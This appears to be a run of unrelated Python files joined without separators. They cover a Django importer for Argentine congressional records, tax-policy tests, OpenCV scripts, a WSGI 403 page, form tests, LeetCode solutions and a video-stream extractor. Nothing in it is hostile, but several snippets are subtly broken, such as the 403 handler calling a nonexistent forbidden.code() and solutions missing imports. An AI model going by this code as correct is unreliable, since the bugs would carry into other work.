import json
import logging
import optparse
import os
import random
import re
import signal
import sys
import time
import isodate
from datetime import datetime
from pprint import pprint

from django.db.models import Q
from django.db import transaction

from mediasancion.core.models import Partido, Distrito, Bloque, Persona
from mediasancion.congreso.models import (Proyecto, FirmaProyecto, Legislador,
        Comision, DictamenProyecto, TramiteProyecto)

logging.basicConfig(level=logging.WARNING)
log = logging.getLogger(os.path.basename(__file__))

AUDIT_ORIGIN = u'mscrap_import:%s' % datetime.utcnow().isoformat()

def store_legislador_item(x):
    try:
        distrito = Distrito.objects.get(nombre=x['distrito_nombre'])
    except Distrito.DoesNotExist:
        distrito = Distrito(nombre=x['distrito_nombre'], origin=AUDIT_ORIGIN)
        distrito.resource_source = x['resource_source']
        distrito.resource_url = x['resource_url']
        distrito.save()

    if x.get('bloque_nombre'):
        try:
            bloque = Bloque.objects.get(nombre=x['bloque_nombre'])
        except Bloque.DoesNotExist:
            bloque = Bloque(nombre=x['bloque_nombre'], origin=AUDIT_ORIGIN)
            bloque.resource_source = x['resource_source']
            bloque.resource_url = x['resource_url']
            bloque.save()
    else:
        bloque = None

    if x.get('partido_nombre'):
        try:
            partido = Partido.objects.get(nombre=x['partido_nombre'])
        except Partido.DoesNotExist:
            partido = Partido(nombre=x['partido_nombre'], origin=AUDIT_ORIGIN)
            partido.resource_source = x['resource_source']
            partido.resource_url = x['resource_url']
            partido.save()
    else:
        partido = None

    persona_created = True
    try:
        persona = Persona.objects.get(nombre=x['nombre'],
                                            apellido=x['apellido'],
                                            legislador__camara=x['camara'],
                                            legislador__bloque=bloque,
                                            legislador__distrito=distrito,
                                            legislador__inicio=isodate.parse_date(x['mandato_inicio']),
                                            legislador__fin=isodate.parse_date(x['mandato_fin']))
        persona_created = False
    except Persona.DoesNotExist:
        try:
            persona = Persona.objects.get(nombre=x['nombre'], apellido=x['apellido'])
            persona_created = False
        except Persona.MultipleObjectsReturned:
            log.error((u"This is an expected error! Aparently you have more than one Persona named: "
                       u"%(apellido)s, %(nombre)s. You'll have to fix this by hand. Set var 'persona' "
                       u"to the desired Persona instance and continue (c)") % x)
            import ipdb; ipdb.set_trace()
        except Persona.DoesNotExist:
            persona = Persona(nombre=x['nombre'], apellido=x['apellido'], origin=AUDIT_ORIGIN)

        try:
            assert isinstance(persona, Persona)
        except (NameError, AssertionError):
            raise RuntimeError(u"Missing Persona, sorry, need to abort.")

    persona.email = x.get('email') or None # the 'or None' thing is cuz we don't want empty strings.
    persona.telefono = x.get('telefono') or None
    persona.foto = x.get('foto_url') or None # <--- makes no sense, but we don't care right now.
    persona.save()

    if persona_created:
        persona.resource_source = x['resource_source']
        persona.resource_url = x['resource_url']
        persona.resource_id = x['resource_id']
        persona.save()
        log.debug(u'Created %s Persona' % persona.uuid)
    else:
        log.debug(u'Updated %s Persona' % persona.uuid)

    try:
        legislador = Legislador.objects.get(persona=persona,
                                      camara=x['camara'],
                                      bloque=bloque,
                                      distrito=distrito,
                                      inicio=isodate.parse_date(x['mandato_inicio']),
                                      fin=isodate.parse_date(x['mandato_fin']))
        log.debug(u'Updated %s Legislador' % legislador.uuid)
    except Legislador.DoesNotExist:
        legislador = Legislador(persona=persona,
                          camara=x['camara'],
                          bloque=bloque,
                          partido=partido,
                          distrito=distrito,
                          inicio=isodate.parse_date(x['mandato_inicio']),
                          fin=isodate.parse_date(x['mandato_fin']))
        legislador.resource_source = x['resource_source']
        legislador.resource_url = x['resource_url']
        legislador.resource_id = x['resource_id']
        legislador.origin = AUDIT_ORIGIN
        legislador.save()
        log.debug(u'Created %s Legislador' % legislador.uuid)

    return True

def store_proyecto_item(x):
    try:
        p = Proyecto.objects.get(camara_origen_expediente=x['camara_origen_expediente'],
                                 camara_origen=x['camara_origen'])
        proyecto_created = False
    except Proyecto.DoesNotExist:
        p = Proyecto(camara_origen_expediente=x['camara_origen_expediente'],
                     camara_origen=x['camara_origen'],
                     origin=AUDIT_ORIGIN)
        proyecto_created = True

    p.resource_source = x['resource_source']
    p.resource_url = x['resource_url']
    p.resource_id = x['resource_id']

    p.origen = x['origen']

    p.camara_revisora = x['camara_revisora'] if 'camara_revisora' in x else None
    p.camara_revisora_expediente = x.get('camara_revisora_expediente') or ''

    p.reproduccion_expediente = x.get('reproduccion_expediente') or ''

    p.ley_numero = x.get('ley_numero')

    p.tipo = x['tipo']
    p.mensaje = x.get('mensaje_codigo') or ''

    p.publicacion_en = x.get('publicacion_en') or ''
    p.publicacion_fecha = isodate.parse_date(x['publicacion_fecha'])

    p.texto_completo_url = x.get('texto_completo_url', '')
    p.texto_mediasancion_senadores_url = x.get('texto_mediasancion_senadores_url', '')
    p.texto_mediasancion_diputados_url = x.get('texto_mediasancion_diputados_url', '')

    p.sumario = x['sumario']

    p.save()

    cd = x.get('comisiones_diputados', ())

    for s in cd:
        s = s.capitalize()
        try:
            c = Comision.objects.get(camara='D', nombre__iexact=s)
        except Comision.DoesNotExist:
            c = Comision(camara='D', nombre=s, origin=AUDIT_ORIGIN)
            c.resource_source = x['resource_source']
            c.resource_url = x['resource_url']
            c.save()
        if not c in p.comisiones.all():
            p.comisiones.add(c)

    for s in x.get('comisiones_senadores', ()):
        s = s.capitalize()
        try:
            c = Comision.objects.get(camara='S', nombre__iexact=s)
        except Comision.DoesNotExist:
            c = Comision(camara='S', nombre=s, origin=AUDIT_ORIGIN)
            c.resource_source = x['resource_source']
            c.resource_url = x['resource_url']
            c.save()
        if not c in p.comisiones.all():
            p.comisiones.add(c)

    if proyecto_created:
        log.debug(u'Created %s Proyecto' % p.uuid)
        return True
    else:
        log.debug(u'Updated %s Proyecto' % p.uuid)
        return True

def store_firmaproyecto_item(x):
    try:
        proyecto = Proyecto.objects.get(camara_origen_expediente=x['proyecto_camara_origen_expediente'],
                                        camara_origen=x['proyecto_camara_origen'])
    except Proyecto.DoesNotExist:
        return False

    if x.get('firmante_bloque'):
        try:
            bloque = Bloque.objects.get(nombre=x['firmante_bloque'])
        except Bloque.DoesNotExist:
            bloque = Bloque(nombre=x['firmante_bloque'], origin=AUDIT_ORIGIN)
            bloque.resource_source = x['resource_source']
            bloque.resource_url = x['resource_url']
            bloque.save()
    else:
        bloque = None

    if x.get('firmante_distrito'):
        try:
            distrito = Distrito.objects.get(nombre=x['firmante_distrito'])
        except Distrito.DoesNotExist:
            distrito = Distrito(nombre=x['firmante_distrito'], origin=AUDIT_ORIGIN)
            distrito.resource_source = x['resource_source']
            distrito.resource_url = x['resource_url']
            distrito.save()
    else:
        distrito = None

    poder =x['firmante_poder']

    firmante_special = x.get('firmante_special') or u''

    if not firmante_special:
        firmante_apellido = x.get('firmante_apellido') or u''
        firmante_nombre = x.get('firmante_nombre') or u''

        try:
            persona = Persona.objects.get(apellido=firmante_apellido,
                                                nombre=firmante_nombre)
        except Persona.DoesNotExist:
            persona = Persona(apellido=firmante_apellido,
                                    nombre=firmante_nombre,
                                    origin=AUDIT_ORIGIN)
            persona.resource_source = x['resource_source']
            persona.resource_url = x['resource_url']
            persona.save()

        try:
            legislador = Legislador.objects.get(persona=persona,
                                                bloque=bloque,
                                                distrito=distrito)
        except Legislador.DoesNotExist:
            # if legislador created, inicio and fin will be missing. Whatever.
            legislador = Legislador(persona=persona,
                              bloque=bloque,
                              distrito=distrito,
                              camara='?',
                              origin=AUDIT_ORIGIN)
            legislador.resource_source = x['resource_source']
            legislador.resource_url = x['resource_url']
            legislador.save()
    else:
        persona = legislador = None

    try:
        fp = FirmaProyecto.objects.get(proyecto=proyecto,
                                       legislador=legislador,
                                       poder=poder,
                                       poder_who=firmante_special,
                                       tipo_firma=x['tipo_firma'])
        log.debug(u'Updated %s FirmaProyecto' % fp.uuid)
    except FirmaProyecto.DoesNotExist:
        fp = FirmaProyecto(proyecto=proyecto,
                           legislador=legislador,
                           poder=poder,
                           poder_who=firmante_special,
                           tipo_firma=x['tipo_firma'],
                           origin=AUDIT_ORIGIN)
        fp.resource_source = x['resource_source']
        fp.resource_url = x['resource_url']
        fp.resource_id = x.get('resource_id')
        fp.save()
        log.debug(u'Created %s FirmaProyecto' % fp.uuid)

    return True

def store_dictamenproyecto_item(x):
    try:
        proyecto = Proyecto.objects.get(camara_origen_expediente=x['proyecto_camara_origen_expediente'],
                                        camara_origen=x['proyecto_camara_origen'])
    except Proyecto.DoesNotExist:
        return False

    x_fecha = isodate.parse_date(x['fecha']) if 'fecha' in x else None

    try:
        dp = DictamenProyecto.objects.get(proyecto=proyecto,
                                          camara=x['camara'],
                                          index=int(x['index']))
    except DictamenProyecto.DoesNotExist:
        dp = DictamenProyecto(proyecto=proyecto,
                              camara=x['camara'],
                              index=int(x['index']),
                              fecha=x_fecha,
                              orden_del_dia=(x.get('orden_del_dia') or u''),
                              descripcion=(x.get('descripcion') or u''),
                              resultado=(x.get('resultado') or u''),
                              origin=AUDIT_ORIGIN)
        dp.resource_source = x['resource_source']
        dp.resource_url = x['resource_url']
        dp.resource_id = x.get('resource_id')
        dp.save()
        log.debug(u'Created %s DictamenProyecto' % dp.uuid)

    else:
        dp_changed = False
        if dp.resultado and x.get('resultado') and dp.resultado != x.get('resultado'):
            dp.resultado = x.get('resultado', u'')
            dp_changed = True
        if dp.descripcion and x.get('descripcion') and dp.descripcion != x.get('descripcion'):
            dp.descripcion = x.get('descripcion', u'')
            dp_changed = True

        if dp_changed:
            dp.save()
        log.debug(u'Updated %s DictamenProyecto' % dp.uuid)

    return True

def store_tramiteproyecto_item(x):
    try:
        proyecto = Proyecto.objects.get(camara_origen_expediente=x['proyecto_camara_origen_expediente'],
                                        camara_origen=x['proyecto_camara_origen'])
    except Proyecto.DoesNotExist:
        return False

    x_fecha = isodate.parse_date(x['fecha']) if 'fecha' in x else None

    try:
        tp = TramiteProyecto.objects.get(proyecto=proyecto,
                                         camara=x['camara'],
                                         index=int(x['index']))
    except TramiteProyecto.DoesNotExist:
        tp = TramiteProyecto(proyecto=proyecto,
                             camara=x['camara'],
                             index=int(x['index']),
                             fecha=x_fecha,
                             descripcion=(x.get('descripcion') or u''),
                             resultado=(x.get('resultado') or u''),
                             origin=AUDIT_ORIGIN)
        tp.resource_source = x['resource_source']
        tp.resource_url = x['resource_url']
        tp.resource_id = x.get('resource_id')
        tp.save()
        log.debug(u'Created %s TramiteProyecto' % tp.uuid)

    else:
        tp_changed = False
        if tp.resultado and x.get('resultado') and tp.resultado != x.get('resultado'):
            tp.resultado = x.get('resultado', u'')
            tp_changed = True
        if tp.descripcion and x.get('descripcion') and tp.descripcion != x.get('descripcion'):
            tp.descripcion = x.get('descripcion', u'')
            tp_changed = True

        if tp_changed:
            tp.save()
        log.debug(u'Updated %s TramiteProyecto' % tp.uuid)

    return True

@transaction.commit_manually
def store_item(t, x):
    ts = { 'LegisladorItem': store_legislador_item,
           'ProyectoItem': store_proyecto_item,
           'FirmaProyectoItem': store_firmaproyecto_item,
           'DictamenProyectoItem': store_dictamenproyecto_item,
           'TramiteProyectoItem': store_tramiteproyecto_item }
    try:
        _store = ts[t]
    except KeyError:
        log.warning(u"Skiping %s" % t)
        return

    try:
        s = _store(x)
    except:
        transaction.rollback()
        raise

    if s:
        transaction.commit()
        return True
    else:
        log.debug(u"Couldn't store %s" % t)
        transaction.rollback()
        return False

def store_raw(line):
    t, x = json.loads(line)
    return store_item(t, x)

def main_store(lines):
    log.info('Storing...')
    for line in lines:
        if not store_raw(line):
            return

def _sighandle_pdb(sig, frame):
    import pdb
    pdb.Pdb().set_trace(frame)
signal.signal(signal.SIGUSR1, _sighandle_pdb)

def parse_args():
    parser = optparse.OptionParser(usage=u"usage: %prog [options] FILE [FILE..]")

    parser.add_option('-v', '--verbose',
                      action='store_true', dest='verbose',
                      help=u"verbose output")
    parser.add_option('--debug',
                      action='store_true', dest='debug',
                      help=u"debug output")
    parser.add_option('--wtf',
                      action='store_true', dest='wtf',
                      help=u"enable WTF post-mortem debugger")

    opts, args = parser.parse_args()

    if not args:
        parser.print_help()
        sys.exit(1)

    return opts, args

if __name__ == '__main__':
    opts, args = parse_args()

    if opts.debug:
        log.setLevel(logging.DEBUG)
    elif opts.verbose:
        log.setLevel(logging.INFO)

    log.info('PID: %d' % os.getpid())
    log.info('SIGUSR1: Start debugger.')
    log.info('SIGUSR2: Print status.')

    if opts.wtf:
        log.info(u"WTF Post-mortem debugger enabled")
    try:
        for fname in args:
            with open(fname, 'rb') as f: # we use ascii-only input (JSON)
                log.info(u"Opening %s..." % fname)
                main_store(f)
    except Exception:
        log.error(u"Something bad happened!!! Nothing will saved.")
        if opts.wtf:
            from wtf import WTF
            WTF()
        else:
            raise


"""
Test Policy class.
"""
import os
import numpy
import pandas
import pytest
import taxcalc as itax
from biztax import Policy, Data, START_YEAR, END_YEAR, NUM_YEARS

def test_policy_json_content():
    """
    Test contents of policy_current_law.json file
    """
    policy = Policy()
    start_year = policy.start_year
    assert start_year == START_YEAR
    policy_vals = getattr(policy, '_vals')
    for _, data in policy_vals.items():
        value_yrs = data.get('value_yrs')
        assert isinstance(value_yrs, list)
        value = data.get('value')
        expected_value_yrs = [(start_year + i) for i in range(len(value))]
        if value_yrs != expected_value_yrs:
            msg = 'name,value_yrs,expected_value_yrs: {}\n{}\n{}'
            raise ValueError(msg.format(data.get('name')), value_yrs,
                             expected_value_yrs)

def test_implement_reform():
    """
    Test (in)correct use of implement_reform method
    """
    policy = Policy()
    # incorrect uses of implement_reform
    with pytest.raises(ValueError):
        policy.implement_reform(list())
    with pytest.raises(ValueError):
        policy.implement_reform({'tau_c': {2099: 0.20}})
    policy.set_year(2019)
    with pytest.raises(ValueError):
        policy.implement_reform({'tau_c': {2018: 0.20}})
    with pytest.raises(ValueError):
        policy.implement_reform({'tau_c': {2020: -0.2}})
    with pytest.raises(ValueError):
        policy.implement_reform({'inventory_method': {2020: 'XIFO'}})
    del policy
    # correct use of implement_reform
    policy = Policy()
    reform = {
        'tau_c': {2021: 0.20},
        'inventory_method': {2021: 'FIFO'},
        'newIntPaid_corp_hcyear': {2021: 2018}
    }
    policy.implement_reform(reform)
    policy.set_year(2020)
    assert policy.tau_c > 0.20
    assert policy.inventory_method == 'Mix'
    assert policy.newIntPaid_corp_hcyear == 0
    policy.set_year(2021)
    assert policy.tau_c == 0.20
    assert policy.inventory_method == 'FIFO'
    assert policy.newIntPaid_corp_hcyear == 2018
    policy.set_year(2022)
    assert policy.tau_c == 0.20
    assert policy.inventory_method == 'FIFO'
    assert policy.newIntPaid_corp_hcyear == 2018

def test_parameters_dataframe():
    """
    Test parameters_dataframe() method
    """
    policy = Policy()
    ppdf = policy.parameters_dataframe()
    assert isinstance(ppdf, pandas.DataFrame)
    assert len(ppdf.index) == NUM_YEARS
    assert ppdf['year'][0] == START_YEAR
    assert ppdf['year'][NUM_YEARS - 1] == END_YEAR
    assert ppdf['tau_c'][START_YEAR - START_YEAR] == 0.347
    with pytest.raises(KeyError):
        ppdf['tau_c'][-1]
    with pytest.raises(KeyError):
        ppdf['tau_c'][END_YEAR - START_YEAR + 1]
    with pytest.raises(KeyError):
        ppdf['tau_c'][START_YEAR]
    with pytest.raises(KeyError):
        ppdf['unknown_parameter'][0]


"""
Script to determine color range in HSV of a selected region
"""

import numpy as np

import cv2 as cv

img = cv.imread("top.png")
print(img)
print("Select color range to threshold")
r = cv.selectROI(img)
cv.waitKey()

im_crop = img[int(r[1]) : int(r[1] + r[3]), int(r[0]) : int(r[0] + r[2])]
im_crop_hsv = cv.cvtColor(im_crop, cv.COLOR_BGR2HSV)

lower_bound = np.array(
    [im_crop_hsv[..., 0].min(), im_crop_hsv[..., 1].min(), im_crop_hsv[..., 2].min()]
)
upper_bound = np.array(
    [im_crop_hsv[..., 0].max(), im_crop_hsv[..., 1].max(), im_crop_hsv[..., 2].max()]
)

print(
    f"Lower and upper bound of color range in cropped selection: {lower_bound}, {upper_bound}"
)

blur = cv.blur(img, (5, 5))
blur0 = cv.medianBlur(blur, 5)
blur1 = cv.GaussianBlur(blur0, (5, 5), 0)
blur2 = cv.bilateralFilter(blur1, 9, 75, 75)

cv.imshow("image with preprocessing", blur2)
cv.waitKey()

hsv = cv.cvtColor(blur2, cv.COLOR_BGR2HSV)

mask = cv.inRange(hsv, lower_bound, upper_bound)
res = cv.bitwise_and(img, img, mask=mask)

cv.imshow("image with mask", res)
cv.waitKey()


from cv2 import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt

# final_img = np.hstack((img[:,:,::-1],img[:,:,::-1])) # 한 개의 window에 두 화면을 동시에 띄워줌
# plt.figure()
# plt.imshow(final_img[:,:,::-1])

img = cv.imread("datas/images/lambo.png") # 이미지 파일을 read
plt.figure() # figure는 틀을 만든다고 생각하고
plt.imshow(img[:,:,::-1]) # imshow는 figure로 만든 틀에 imshow로 이미지를 뿌려주고
                          # plt.show()로 우리가 볼 수 있는 window창으로 위 과정을 거쳐 보여준다.
# cv.imshow("Image", img)
print(img.shape)
print(type(img))

imgResize = cv.resize(img, (1000,500)) # resize(입력이미지(src), 출력이미지(dst))
plt.figure()
plt.imshow(imgResize[:,:,::-1])
# cv.imshow("Image Resize", imgResize)
print(imgResize.shape)

imgCropped = img[46:219, 152:495] # img[y,x] = 46:219 slice / 152:495 slice
                                  # 풀어 쓰면, (46,152), (46,495), (219,152), (219,495)[좌상단, 좌하단, 우상단, 우하단]을 점으로 표시
plt.figure()
plt.imshow(imgCropped[:,:,::-1]) #pyplot은 BGR형식이고 cv는 RGB순이여서 -1을 해야 정상적으로 나온다.
# cv.imshow("Image Cropped", imgCropped)

imgCropped2 = img[68:393,62:497] # 쉽게 (68,62), (393,497)로 좌상단과 우하단에 있는 점을 기준으로 해당 좌표 안에 있는 모든 좌표가 해당됨
plt.figure()
plt.imshow(imgCropped2[:,:,::-1])

# ------------------------------------------ practice 1 -------------------------------------------------------
img_p = cv.imread("datas/images/lena.png") # 이미지 파일을 read
plt.figure()
plt.imshow(img_p[:,:,::-1])
imgCropped3 = img_p[40:388,75:394] # 쉽게 (68,62), (393,497)로 좌상단과 우하단에 있는 점을 기준으로 해당 좌표 안에 있는 모든 좌표가 해당됨
plt.figure()
plt.imshow(imgCropped3[:,:,::-1])

# cv.waitKey(3000)
plt.show()


import genHTML
import wsgiref.handlers
import login

__author__ = 'ashaw'

def code():
    return "403 Forbidden"
def header():
    return [("Content-type", "text/html")]

def forbidden(environ, start_response):
    string = ''

    string += genHTML.genPageHeader('EngCupid')
    string += genHTML.genMenuBar("EngCupid", [dict(link='browse.py', name='Browse', active=True)], login.getLoginToken(environ))
    string += genHTML.beginContainer()
    responseCode = forbidden.code()
    string += """\

403 Forbidden

It seems that you are trying to go somewhere you shouldn't.

              return to EngCupid

"""
    string += genHTML.endContainer()
    string += genHTML.genPageFooter()
    start_response(responseCode, [('Content-type', 'text/html')])
    return string

if __name__ == "__main__":
    wsgiref.handlers.CGIHandler().run(forbidden)


# -*- coding: utf-8 -*-
"""
@Time ： 2022/5/16 20:39
@Auth ： zxy
@File ：test_user_feedback.py

"""
import pytest
from page.user_feedbackiframe_page import FeedbackPage

class TestFeedback():

    @pytest.fixture(autouse=True)
    def open_feedback(self, userFeedbackPage: FeedbackPage):
        userFeedbackPage.open('/users/feedbackiframe/')
        userFeedbackPage.to_iframe()

    def test_all_option_1(self, userFeedbackPage: FeedbackPage):
        """获取所有下拉选项"""
        all_options = userFeedbackPage.get_select_object()
        print(all_options)
        assert all_options == ['改进建议', '页面布局', '提BUG']

    def test_selected_option_2(self, userFeedbackPage: FeedbackPage):
        """获取被选中项"""
        userFeedbackPage.select_subject(value='页面布局')
        assert userFeedbackPage.selected_subject(value='页面布局') == '页面布局'
        userFeedbackPage.select_subject(value='改进建议')
        assert userFeedbackPage.selected_subject(value='改进建议') == '改进建议'
        userFeedbackPage.select_subject(value='提BUG')
        assert userFeedbackPage.selected_subject(value='提BUG') == '提BUG'

    def test_contract_clear_3(self, userFeedbackPage: FeedbackPage):
        """输入联系方式 1111@qq.com再清空"""
        userFeedbackPage.input_feedback_relate('111111@qq.com')
        actual = userFeedbackPage.get_relate_attr(attr='value')
        assert actual == '111111@qq.com'

    @pytest.mark.parametrize('test_input', ['改进建议', '页面布局', '提BUG'])
    def test_selected_option_4(self, userFeedbackPage: FeedbackPage, test_input):
        """获取被选中项,参数化"""
        userFeedbackPage.select_subject(value=test_input)
        assert userFeedbackPage.selected_subject(value='页面布局') == test_input

    def test_feedback_send_5(self, userFeedbackPage: FeedbackPage):
        """改进建议，反馈内容为空，测试内同为空，点send提交按钮，alert弹窗提示：提交成功"""
        # 选改进建议
        userFeedbackPage.select_subject(value='页面布局')
        # 写反馈内容
        userFeedbackPage.input_feedback_content('')
        # 写联系方式
        userFeedbackPage.input_feedback_relate('')
        # 点确定按钮
        userFeedbackPage.click_send_btn()
        # 获取alert结果并断言
        text = userFeedbackPage.get_alert_text()
        assert text == '提交成功！'

    @pytest.mark.parametrize('test_input, expected', [
        [{'subject': '改进建议', 'content': '', 'relate': ''}, '提交成功！'],
        [{'subject': '改进建议', 'content': 'test', 'relate': ''}, '提交成功！'],
        [{'subject': '改进建议', 'content': '', 'relate': '111111@qq.com'}, '提交成功！'],
        [{'subject': '改进建议', 'content': 'test', 'relate': '111111@qq.com'}, '提交成功！'],
        [{'subject': '页面布局', 'content': 'test', 'relate': '111111@qq.com'}, '提交成功！'],
        [{'subject': '提BUG', 'content': 'test', 'relate': '111111@qq.com'}, '提交成功！'],
    ])
    def test_feedback_send_6(self, userFeedbackPage: FeedbackPage, test_input, expected):
        """参数化 改进建议，反馈内容为空，测试内同为空，点send提交按钮，alert弹窗提示：提交成功"""
        # 选改进建议
        userFeedbackPage.select_subject(value=test_input['subject'])
        # 写反馈内容
        userFeedbackPage.input_feedback_content(test_input['content'])
        # 写联系方式
        userFeedbackPage.input_feedback_relate(test_input['relate'])
        # 点确定按钮
        userFeedbackPage.click_send_btn()
        # 获取alert结果并断言
        text = userFeedbackPage.get_alert_text()
        assert text == expected


class Solution:
    def intersect(self, nums1: List[int], nums2: List[int]) -> List[int]:
        n1 = deque(sorted(nums1))
        n2 = deque(sorted(nums2))
        ans = []
        while n1 and n2:
            if n1[0] == n2[0]:
                ans.append(n1[0])
                n1.popleft()
                n2.popleft()
            elif n1[0] > n2[0]:
                n2.popleft()
            elif n1[0] < n2[0]:
                n1.popleft()
        return(ans)


from google.appengine.ext import db

class CustomModel(db.Model):
    _query = None

    @property
    def id(self):
        return self.key().id()

    def __unicode__(self):
        try:
            return unicode(str(self))
        except TypeError:
            return 'not defined'

    @classmethod
    def get_query(cls):
        if not cls._query:
            cls._query = db.Query(cls)
        return cls._query

    @classmethod
    def create_or_update(cls, **kwargs):
        values = 'values' in kwargs and kwargs.pop('values') or {}

        q = cls.all()

        for k, v in kwargs.items():
            q = q.filter(k+' =', v)

        if q.count():
            obj = q[0]
        else:
            obj = cls()

            for k, v in kwargs.items():
                setattr(obj, k, v)

        for k, v in values.items():
            setattr(obj, k, v)

        obj.put()

        return obj

    @classmethod
    def get_by_field(cls, field, value):
        return db.Query(cls).filter(field+' =', value).get()

    def save(self):
        return self.put()


B2nm = 0.0529177
H2kJ = 2625.5
Vf = {'H':7.842800,'C':34.939018,'N':25.922105}
Bf = {'H':6.5,'C':46.6,'N':24.2}
Rf = {'H':3.099151,'C':3.93063,'N':3.250329}

f = open('DDEC_atomic_Rcubed_moments.xyz','r')
lines = f.readlines()

natom = int(lines[0].split()[0])
SYMB = []
Vi = []
for i in range(2,natom+2):
    SYMB.append(lines[i].split()[0])
    Vi.append(float(lines[i].split()[-1]))
Bi = []
for i, V in enumerate(Vi):
    Bi.append((V/Vf[SYMB[i]])**2.0*Bf[SYMB[i]])
Ai = []
for i, B in enumerate(Bi):
    Ri = (Vi[i]/Vf[SYMB[i]])**(1.0/3.0)*Rf[SYMB[i]]
    Ai.append(0.5*B*(2*Ri)**6.0)

fo = open('VDW_parameters.txt','w')
fo.write( 'index  element  sigma(nm) epsilon(kJ/mol) \n')
for i in range(len(Bi)):
    sigma = (Ai[i]/Bi[i])**(1.0/6.0)*B2nm
    eps = Bi[i]**2.0/(4.0*Ai[i])*H2kJ
    fo.write( str(i+1) + '  '+ SYMB[i] + '  '+ str(sigma) + '  ' + str(eps) + '\n')


import logging

from torch_points3d.visualization import visualizer
import torch
import numpy as np
import os

log = logging.getLogger(__name__)
class Visualizer(visualizer.Visualizer):
    def __init__(self, viz_conf, num_batches, batch_size, save_dir):
        super(Visualizer, self).__init__(viz_conf, num_batches, batch_size, save_dir)

    def get_indices(self, stage):
        """This function is responsible to calculate the indices to be saved"""
        if self._contains_indices:
            return
        stage_num_batches = getattr(self, "{}_num_batches".format(stage))
        # total_items = (stage_num_batches - 1) * self._batch_size
        total_items = stage_num_batches * self._batch_size
        if stage_num_batches > 0:
            if self._num_samples_per_epoch < 0:  # All elements should be saved.
                if stage_num_batches > 0:
                    self._indices[stage] = np.arange(total_items)
                else:
                    self._indices[stage] = None
            else:
                if self._deterministic:
                    if stage not in self._indices:
                        if self._num_samples_per_epoch > total_items:
                            log.warn("Number of samples to save is higher than the number of available elements")
                        self._indices[stage] = np.random.permutation(total_items)[: self._num_samples_per_epoch]
                else:
                    if self._num_samples_per_epoch > total_items:
                        log.warn("Number of samples to save is higher than the number of available elements")
                    self._indices[stage] = np.random.permutation(total_items)[: self._num_samples_per_epoch]

    def _extract_from_PYG_npy(self, item, pos_idx):
        num_samples = item.batch.shape[0]
        batch_mask = item.batch == pos_idx
        out_data = {'name': item['name'][pos_idx]}
        for k in item.keys:
            if torch.is_tensor(item[k]) and k == 'pred':
                if item[k].shape[0] == num_samples:
                    out_data[k] = item[k][batch_mask].detach().cpu().numpy()
        return out_data

    def _extract_from_dense_npy(self, item, pos_idx):
        assert (
                item.y.shape[0] == item.pos.shape[0]
        ), "y and pos should have the same number of samples. Something is probably wrong with your data to visualise"
        num_samples = item.y.shape[0]
        out_data = {'name': item['name'][pos_idx]}
        for k in item.keys:
            if torch.is_tensor(item[k]) and k == 'pred':
                if item[k].shape[0] == num_samples:
                    out_data[k] = item[k][pos_idx].detach().cpu().numpy()
        return out_data

    def save_visuals_npy(self, visuals):
        """This function is responsible to save the data into .npy files
            Parameters:
                visuals (Dict[Data(pos=torch.Tensor, ...)]) -- Contains a dictionnary of tensors
            Make sure the saved_keys  within the config maps to the Data attributes.
        """
        if self._stage in self._indices:
            batch_indices = self._indices[self._stage] // self._batch_size
            pos_indices = self._indices[self._stage] % self._batch_size
            for idx in np.argwhere(self._seen_batch == batch_indices).flatten():
                pos_idx = pos_indices[idx]
                for visual_name, item in visuals.items():
                    if hasattr(item, "batch") and item.batch is not None:  # The PYG dataloader has been used
                        out_item = self._extract_from_PYG_npy(item, pos_idx)
                    else:
                        out_item = self._extract_from_dense_npy(item, pos_idx)

                    out_item['pred'] = out_item['pred'].astype(np.uint8)
                    dir_path = os.path.join(self._viz_path, str(self._current_epoch), self._stage)
                    if not os.path.exists(dir_path):
                        os.makedirs(dir_path)

                    if not os.path.exists(os.path.join(dir_path, out_item['name'])):
                        os.makedirs(os.path.join(dir_path, out_item['name']))

                    filename = "{}/{}.npy".format(out_item['name'], 'pred')
                    path_out = os.path.join(dir_path, filename)
                    np.save(path_out, out_item['pred'])
            self._seen_batch += 1


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..common import *
from ..extractor import VideoExtractor

from json import loads

class QiE(VideoExtractor):
    name = "QiE （企鹅直播）"

    # Last updated: 2015-11-24
    stream_types = [
        {'id': 'normal', 'container': 'flv', 'video_profile': '标清'},
        {'id': 'middle', 'container': 'flv', 'video_profile': '550'},
        {'id': 'middle2', 'container': 'flv', 'video_profile': '900'},
    ]

    id_dic = {i['video_profile']:(i['id']) for i in stream_types}

    api_endpoint = 'http://www.qie.tv/api/v1/room/{room_id}'

    @staticmethod
    def get_vid_from_url(url):
        """Extracts video ID from live.qq.com.
        """
        html = get_content(url)
        return match1(html, r'room_id\":(\d+)')

    def download_playlist_by_url(self, url, **kwargs):
        pass

    def prepare(self, **kwargs):
        if self.url:
            self.vid = self.get_vid_from_url(self.url)

        content = get_content(self.api_endpoint.format(room_id = self.vid))
        content = loads(content)
        self.title = content['data']['room_name']
        rtmp_url =  content['data']['rtmp_url']
        #stream_avalable = [i['name'] for i in content['data']['stream']]
        stream_available = {}
        stream_available['normal'] = rtmp_url + '/' + content['data']['rtmp_live']
        if len(content['data']['rtmp_multi_bitrate']) > 0:
            for k , v in content['data']['rtmp_multi_bitrate'].items():
                stream_available[k] = rtmp_url + '/' + v

        for s in self.stream_types:
            if s['id'] in stream_available.keys():
                quality_id = s['id']
                url = stream_available[quality_id]
                self.streams[quality_id] = {
                    'container': 'flv',
                    'video_profile': s['video_profile'],
                    'size': 0,
                    'url': url
                }

    def extract(self, **kwargs):
        for i in self.streams:
            s = self.streams[i]
            s['src'] = [s['url']]
        if 'stream_id' in kwargs and kwargs['stream_id']:
            # Extract the stream
            stream_id = kwargs['stream_id']

            if stream_id not in self.streams:
                log.e('[Error] Invalid video format.')
                log.e('Run \'-i\' command with no specific video format to view all available formats.')
                exit(2)
        else:
            # Extract stream with the best quality
            stream_id = self.streams_sorted[0]['id']
            s['src'] = [s['url']]

site = QiE()
download = site.download_by_url
download_playlist = playlist_not_supported('QiE')


class Solution:
    def mergeTwoLists(self, l1, l2):
        """
        :type l1: ListNode
        :type l2: ListNode
        :rtype: ListNode
        """
        h = ListNode(-1)
        cur = h

        cur1 = l1
        cur2 = l2

        while cur1 != None and cur2 != None:
            if cur1.val <= cur2.val:
                cur.next = cur1
                cur1 = cur1.next
            else:
                cur.next = cur2
                cur2 = cur2.next
            cur = cur.next

        if cur1 != None:
            cur.next = cur1

        if cur2 != None:
            cur.next = cur2
        return h.next


from Model import *

